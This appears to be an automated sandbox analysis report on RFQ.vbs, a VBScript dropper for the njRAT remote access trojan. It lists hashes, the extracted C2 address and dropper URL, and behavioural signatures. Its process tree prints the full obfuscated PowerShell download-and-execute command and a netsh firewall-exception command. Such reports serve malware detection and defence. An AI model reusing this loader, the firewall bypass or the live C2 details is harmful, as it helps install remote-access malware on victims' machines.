RFQ.vbs

General
Target

RFQ.vbs

Filesize

7KB

Completed

17-09-2021 17:10

Score
10/10
MD5

344aaf64e1d6be52690b5006b4e7e407

SHA1

7d23e39c1aefae326ec42b82bdfdcae504d2662f

SHA256

a078a2a795317c2e46fbb857f9f2cda679731bf8276f19a8d9c2fb2b3c076f27

Malware Config

Extracted

Language ps1
Deobfuscated
URLs
exe.dropper

http://13.112.210.240/bypass.txt

Extracted

Family njrat
Version 0.7d
Botnet HacKed
C2

103.153.78.241:7851

Attributes
reg_key
c111af59b6283a846969092a2400626a
splitter
|'|'|
Signatures 8

Filter: none

Discovery
Persistence
  • njRAT/Bladabindi

    Description

    Widely used RAT written in .NET.

  • Blocklisted process makes network request
    powershell.exe

    Reported IOCs

    flowpidprocess
    4744powershell.exe
    5744powershell.exe
  • Modifies Windows Firewall

    Tags

    TTPs

    Modify Existing Service
  • Suspicious use of SetThreadContext
    powershell.exe

    Reported IOCs

    descriptionpidprocesstarget process
    PID 744 set thread context of 616744powershell.exeaspnet_compiler.exe
  • Enumerates physical storage devices

    Description

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

    TTPs

    System Information Discovery
  • Suspicious behavior: EnumeratesProcesses
    powershell.exe

    Reported IOCs

    pidprocess
    744powershell.exe
    744powershell.exe
  • Suspicious use of AdjustPrivilegeToken
    powershell.exeaspnet_compiler.exe

    Reported IOCs

    descriptionpidprocess
    Token: SeDebugPrivilege744powershell.exe
    Token: SeDebugPrivilege616aspnet_compiler.exe
    Token: 33616aspnet_compiler.exe
    Token: SeIncBasePriorityPrivilege616aspnet_compiler.exe
    Token: 33616aspnet_compiler.exe
    Token: SeIncBasePriorityPrivilege616aspnet_compiler.exe
    Token: 33616aspnet_compiler.exe
    Token: SeIncBasePriorityPrivilege616aspnet_compiler.exe
    Token: 33616aspnet_compiler.exe
    Token: SeIncBasePriorityPrivilege616aspnet_compiler.exe
    Token: 33616aspnet_compiler.exe
    Token: SeIncBasePriorityPrivilege616aspnet_compiler.exe
    Token: 33616aspnet_compiler.exe
    Token: SeIncBasePriorityPrivilege616aspnet_compiler.exe
    Token: 33616aspnet_compiler.exe
    Token: SeIncBasePriorityPrivilege616aspnet_compiler.exe
    Token: 33616aspnet_compiler.exe
    Token: SeIncBasePriorityPrivilege616aspnet_compiler.exe
    Token: 33616aspnet_compiler.exe
    Token: SeIncBasePriorityPrivilege616aspnet_compiler.exe
    Token: 33616aspnet_compiler.exe
    Token: SeIncBasePriorityPrivilege616aspnet_compiler.exe
    Token: 33616aspnet_compiler.exe
    Token: SeIncBasePriorityPrivilege616aspnet_compiler.exe
    Token: 33616aspnet_compiler.exe
    Token: SeIncBasePriorityPrivilege616aspnet_compiler.exe
    Token: 33616aspnet_compiler.exe
    Token: SeIncBasePriorityPrivilege616aspnet_compiler.exe
  • Suspicious use of WriteProcessMemory
    WScript.exepowershell.exeaspnet_compiler.exe

    Reported IOCs

    descriptionpidprocesstarget process
    PID 528 wrote to memory of 744528WScript.exepowershell.exe
    PID 528 wrote to memory of 744528WScript.exepowershell.exe
    PID 528 wrote to memory of 744528WScript.exepowershell.exe
    PID 744 wrote to memory of 616744powershell.exeaspnet_compiler.exe
    PID 744 wrote to memory of 616744powershell.exeaspnet_compiler.exe
    PID 744 wrote to memory of 616744powershell.exeaspnet_compiler.exe
    PID 744 wrote to memory of 616744powershell.exeaspnet_compiler.exe
    PID 744 wrote to memory of 616744powershell.exeaspnet_compiler.exe
    PID 744 wrote to memory of 616744powershell.exeaspnet_compiler.exe
    PID 744 wrote to memory of 616744powershell.exeaspnet_compiler.exe
    PID 744 wrote to memory of 616744powershell.exeaspnet_compiler.exe
    PID 744 wrote to memory of 616744powershell.exeaspnet_compiler.exe
    PID 616 wrote to memory of 628616aspnet_compiler.exenetsh.exe
    PID 616 wrote to memory of 628616aspnet_compiler.exenetsh.exe
    PID 616 wrote to memory of 628616aspnet_compiler.exenetsh.exe
    PID 616 wrote to memory of 628616aspnet_compiler.exenetsh.exe
Processes 4
  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RFQ.vbs"
    Suspicious use of WriteProcessMemory
    PID:528
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $SZXDCFVGBHNJSDFGH = 'http://13WSEDRFGTYHUJIK112WSEDRFGTYHUJIK210WSEDRFGTYHUJIK240/bypassWSEDRFGTYHUJIKtxt'.Replace('WSEDRFGTYHUJIK','.');$SOS='%!SXDCFVGBHNJ!5SXDCFVGBHNJ!!SXDCFVGBHNJ5%SXDCFVGBHNJ!*SXDCFVGBHNJ!7SXDCFVGBHNJ!8SXDCFVGBHNJ!eSXDCFVGBHNJ!aSXDCFVGBHNJ!dSXDCFVGBHNJ!bSXDCFVGBHNJ!!SXDCFVGBHNJ!5SXDCFVGBHNJ!*SXDCFVGBHNJ!7SXDCFVGBHNJ!8SXDCFVGBHNJ!aSXDCFVGBHNJ%0SXDCFVGBHNJ3dSXDCFVGBHNJ%0SXDCFVGBHNJ%7SXDCFVGBHNJ*eSXDCFVGBHNJ!5SXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ!5SXDCFVGBHNJ*%SXDCFVGBHNJ!3SXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ5!SXDCFVGBHNJ%7SXDCFVGBHNJ%eSXDCFVGBHNJ5%SXDCFVGBHNJ*5SXDCFVGBHNJ70SXDCFVGBHNJ*cSXDCFVGBHNJ*1SXDCFVGBHNJ*3SXDCFVGBHNJ*5SXDCFVGBHNJ%8SXDCFVGBHNJ%7SXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%7SXDCFVGBHNJ%cSXDCFVGBHNJ%7SXDCFVGBHNJ7!SXDCFVGBHNJ%eSXDCFVGBHNJ57SXDCFVGBHNJ%7SXDCFVGBHNJ%9SXDCFVGBHNJ%eSXDCFVGBHNJ5%SXDCFVGBHNJ*5SXDCFVGBHNJ70SXDCFVGBHNJ*cSXDCFVGBHNJ*1SXDCFVGBHNJ*3SXDCFVGBHNJ*5SXDCFVGBHNJ%8SXDCFVGBHNJ%7SXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%7SXDCFVGBHNJ%cSXDCFVGBHNJ%7SXDCFVGBHNJ*cSXDCFVGBHNJ!9SXDCFVGBHNJ!5SXDCFVGBHNJ!eSXDCFVGBHNJ%7SXDCFVGBHNJ%9SXDCFVGBHNJ3bSXDCFVGBHNJ0aSXDCFVGBHNJ%!SXDCFVGBHNJ53SXDCFVGBHNJ58SXDCFVGBHNJ!!SXDCFVGBHNJ!3SXDCFVGBHNJ!*SXDCFVGBHNJ5*SXDCFVGBHNJ!7SXDCFVGBHNJ!%SXDCFVGBHNJ!8SXDCFVGBHNJ!eSXDCFVGBHNJ!aSXDCFVGBHNJ58SXDCFVGBHNJ!!SXDCFVGBHNJ!3SXDCFVGBHNJ!*SXDCFVGBHNJ5*SXDCFVGBHNJ!7SXDCFVGBHNJ!%SXDCFVGBHNJ!8SXDCFVGBHNJ!aSXDCFVGBHNJ!bSXDCFVGBHNJ%0SXDCFVGBHNJ3dSXDCFVGBHNJ%0SXDCFVGBHNJ%7SXDCFVGBHNJ!!SXDCFVGBHNJ!fSXDCFVGBHNJ%aSXDCFVGBHNJ%aSXDCFVGBHNJ%aSXDCFVGBHNJ%aSXDCFVGBHNJ%aSXDCFVGBHNJ%aSXDCFVGBHNJ%aSXDCFVGBHNJ%aSXDCFVGBHNJ%aSXDCFVGBHNJ%aSXDCFVGBHNJ%aSXDCFVGBHNJ%aSXDCFVGBHNJ%aSXDCFVGBHNJ*1SXDCFVGBHNJ!!SXDCFVGBHNJ53SXDCFVGBHNJ5!SXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ!7SXDCFVGBHNJ%7SXDCFVGBHNJ%eSXDCFVGBHNJ5%SXDCFVGBHNJ*5SXDCFVGBHNJ70SXDCFVGBHNJ*cSXDCFVGBHNJ*1SXDCFVGBHNJ*3SXDCFVGBHNJ*5SXDCFVGBHNJ%8SXDCFVGBHNJ%7SXDCFVGBHNJ%aSXDCFVGBHNJ%aSXDCFVGBHNJ%aSXDCFVGBHNJ%aSXDCFVGBHNJ%aSXDCFVGBHNJ%aSXDCFVGBHNJ%aSXDCFVGBHNJ%aSXDCFVGBHNJ%aSXDCFVGBHNJ%aSXDCFVGBHNJ%aSXDCFVGBHNJ%aSXDCFVGBHNJ%aSXDCFVGBHNJ%7SXDCFVGBHNJ%cSXDCFVGBHNJ%7SXDCFVGBHNJ57SXDCFVGBHNJ*eSXDCFVGBHNJ!cSXDCFVGBHNJ*fSXDCFVGBHNJ%7SXDCFVGBHNJ%9SXDCFVGBHNJ%eSXDCFVGBHNJ5%SXDCFVGBHNJ*5SXDCFVGBHNJ70SXDCFVGBHNJ*cSXDCFVGBHNJ*1SXDCFVGBHNJ*3SXDCFVGBHNJ*5SXDCFVGBHNJ%8SXDCFVGBHNJ%7SXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ%7SXDCFVGBHNJ%cSXDCFVGBHNJ%7SXDCFVGBHNJ7%SXDCFVGBHNJ!9SXDCFVGBHNJ*eSXDCFVGBHNJ%7SXDCFVGBHNJ%9SXDCFVGBHNJ3bSXDCFVGBHNJ0aSXDCFVGBHNJ%!SXDCFVGBHNJ53SXDCFVGBHNJ57SXDCFVGBHNJ58SXDCFVGBHNJ!!SXDCFVGBHNJ!5SXDCFVGBHNJ!3SXDCFVGBHNJ5%SXDCFVGBHNJ!*SXDCFVGBHNJ!7SXDCFVGBHNJ59SXDCFVGBHNJ!8SXDCFVGBHNJ55SXDCFVGBHNJ!aSXDCFVGBHNJ!9SXDCFVGBHNJ53SXDCFVGBHNJ!!SXDCFVGBHNJ!*SXDCFVGBHNJ5*SXDCFVGBHNJ!7SXDCFVGBHNJ!8SXDCFVGBHNJ!aSXDCFVGBHNJ%0SXDCFVGBHNJ3dSXDCFVGBHNJ%7SXDCFVGBHNJ!9SXDCFVGBHNJ*0SXDCFVGBHNJ!5SXDCFVGBHNJ58SXDCFVGBHNJ%8SXDCFVGBHNJ*eSXDCFVGBHNJ*0SXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ*0SXDCFVGBHNJ*3SXDCFVGBHNJ*0SXDCFVGBHNJ5!SXDCFVGBHNJ%0SXDCFVGBHNJ%!SXDCFVGBHNJ!5SXDCFVGBHNJ!!SXDCFVGBHNJ5%SXDCFVGBHNJ!*SXDCFVGBHNJ!7SXDCFVGBHNJ!8SXDCFVGBHNJ!eSXDCFVGBHNJ!aSXDCFVGBHNJ!dSXDCFVGBHNJ!bSXDCFVGBHNJ!!SXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ!7SXDCFVGBHNJ!%SXDCFVGBHNJ!8SXDCFVGBHNJ!eSXDCFVGBHNJ!aSXDCFVGBHNJ53SXDCFVGBHNJ!!SXDCFVGBHNJ!*SXDCFVGBHNJ!7SXDCFVGBHNJ!8SXDCFVGBHNJ%9SXDCFVGBHNJ%7SXDCFVGBHNJ%eSXDCFVGBHNJ5%SXDCFVGBHNJ*5SXDCFVGBHNJ70SXDCFVGBHNJ*cSXDCFVGBHNJ*1SXDCFVGBHNJ*3SXDCFVGBHNJ*5SXDCFVGBHNJ%8SXDCFVGBHNJ%7SXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%7SXDCFVGBHNJ%cSXDCFVGBHNJ%7SXDCFVGBHNJ*5SXDCFVGBHNJ*0SXDCFVGBHNJ57SXDCFVGBHNJ*0SXDCFVGBHNJ%dSXDCFVGBHNJ!fSXDCFVGBHNJ*%SXDCFVGBHNJ*aSXDCFVGBHNJ*0SXDCFVGBHNJ!5SXDCFVGBHNJ%7SXDCFVGBHNJ%9SXDCFVGBHNJ%eSXDCFVGBHNJ5%SXDCFVGBHNJ*5SXDCFVGBHNJ70SXDCFVGBHNJ*cSXDCFVGBHNJ*1SXDCFVGBHNJ*3SXDCFVGBHNJ*5SXDCFVGBHNJ%8SXDCFVGBHNJ%7SXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ%7SXDCFVGBHNJ%cSXDCFVGBHNJ%7SXDCFVGBHNJ!5SXDCFVGBHNJ!*SXDCFVGBHNJ!7SXDCFVGBHNJ!8SXDCFVGBHNJ!aSXDCFVGBHNJ%9SXDCFVGBHNJ%eSXDCFVGBHNJ%!SXDCFVGBHNJ53SXDCFVGBHNJ58SXDCFVGBHNJ!!SXDCFVGBHNJ!3SXDCFVGBHNJ!*SXDCFVGBHNJ5*SXDCFVGBHNJ!7SXDCFVGBHNJ!%SXDCFVGBHNJ!8SXDCFVGBHNJ!eSXDCFVGBHNJ!aSXDCFVGBHNJ58SXDCFVGBHNJ!!SXDCFVGBHNJ!3SXDCFVGBHNJ!*SXDCFVGBHNJ5*SXDCFVGBHNJ!7SXDCFVGBHNJ!%SXDCFVGBHNJ!8SXDCFVGBHNJ!aSXDCFVGBHNJ!bSXDCFVGBHNJ%8SXDCFVGBHNJ%!SXDCFVGBHNJ53SXDCFVGBHNJ5aSXDCFVGBHNJ58SXDCFVGBHNJ!!SXDCFVGBHNJ!3SXDCFVGBHNJ!*SXDCFVGBHNJ5*SXDCFVGBHNJ%7SXDCFVGBHNJ%9SXDCFVGBHNJ3bSXDCFVGBHNJ0aSXDCFVGBHNJ%*SXDCFVGBHNJ%8SXDCFVGBHNJ%7SXDCFVGBHNJ!9SXDCFVGBHNJ%7SXDCFVGBHNJ%bSXDCFVGBHNJ%7SXDCFVGBHNJ!5SXDCFVGBHNJ58SXDCFVGBHNJ%7SXDCFVGBHNJ%9SXDCFVGBHNJ%8SXDCFVGBHNJ%!SXDCFVGBHNJ53SXDCFVGBHNJ57SXDCFVGBHNJ58SXDCFVGBHNJ!!SXDCFVGBHNJ!5SXDCFVGBHNJ!3SXDCFVGBHNJ5%SXDCFVGBHNJ!*SXDCFVGBHNJ!7SXDCFVGBHNJ59SXDCFVGBHNJ!8SXDCFVGBHNJ55SXDCFVGBHNJ!aSXDCFVGBHNJ!9SXDCFVGBHNJ53SXDCFVGBHNJ!!SXDCFVGBHNJ!*SXDCFVGBHNJ5*SXDCFVGBHNJ!7SXDCFVGBHNJ!8SXDCFVGBHNJ!aSXDCFVGBHNJ%0SXDCFVGBHNJ%dSXDCFVGBHNJ!aSXDCFVGBHNJ*fSXDCFVGBHNJ*9SXDCFVGBHNJ*eSXDCFVGBHNJ%0SXDCFVGBHNJ%7SXDCFVGBHNJ%7SXDCFVGBHNJ%9SXDCFVGBHNJ7cSXDCFVGBHNJ%*SXDCFVGBHNJ%8SXDCFVGBHNJ%7SXDCFVGBHNJ!9SXDCFVGBHNJ%7SXDCFVGBHNJ%bSXDCFVGBHNJ%7SXDCFVGBHNJ!5SXDCFVGBHNJ58SXDCFVGBHNJ%7SXDCFVGBHNJ%9SXDCFVGBHNJ3b'.Replace('%','2').Replace('!','4').Replace('*','6');Invoke-Expression (-join ($SOS -split 'SXDCFVGBHNJ' | ? { $_ } | % { [char][convert]::ToUInt32($_,16) }))
      Blocklisted process makes network request
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:744
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        PID:616
        • C:\Windows\SysWOW64\netsh.exe
          netsh firewall add allowedprogram "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" "aspnet_compiler.exe" ENABLE
          PID:628
Network
MITRE ATT&CK Matrix
Collection
    Command and Control
      Credential Access
        Defense Evasion
          Execution
            Exfiltration
              Impact
                Initial Access
                  Lateral Movement
                    Privilege Escalation
                      Replay Monitor
                      00:00 00:00
                      Downloads
                      • memory/528-59-0x000007FEFBBB1000-0x000007FEFBBB3000-memory.dmp

                      • memory/616-91-0x0000000000400000-0x000000000040C000-memory.dmp

                      • memory/616-90-0x000000000040747E-mapping.dmp

                      • memory/616-89-0x0000000000400000-0x000000000040C000-memory.dmp

                      • memory/616-95-0x0000000004C10000-0x0000000004C11000-memory.dmp

                      • memory/628-93-0x0000000000000000-mapping.dmp

                      • memory/628-94-0x0000000075FF1000-0x0000000075FF3000-memory.dmp

                      • memory/744-65-0x000000001AC80000-0x000000001AC82000-memory.dmp

                      • memory/744-68-0x000000001C630000-0x000000001C631000-memory.dmp

                      • memory/744-69-0x00000000027B0000-0x00000000027B1000-memory.dmp

                      • memory/744-72-0x000000001AAD0000-0x000000001AAD1000-memory.dmp

                      • memory/744-64-0x0000000002460000-0x0000000002461000-memory.dmp

                      • memory/744-85-0x000000001AB40000-0x000000001AB41000-memory.dmp

                      • memory/744-86-0x000000001AC8A000-0x000000001ACA9000-memory.dmp

                      • memory/744-87-0x000000001C930000-0x000000001C931000-memory.dmp

                      • memory/744-88-0x000000001AB10000-0x000000001AB14000-memory.dmp

                      • memory/744-63-0x000000001AD00000-0x000000001AD01000-memory.dmp

                      • memory/744-62-0x0000000002390000-0x0000000002391000-memory.dmp

                      • memory/744-60-0x0000000000000000-mapping.dmp

                      • memory/744-67-0x00000000022F0000-0x00000000022F1000-memory.dmp

                      • memory/744-66-0x000000001AC84000-0x000000001AC86000-memory.dmp

                      • memory/744-84-0x000000001AB30000-0x000000001AB31000-memory.dmp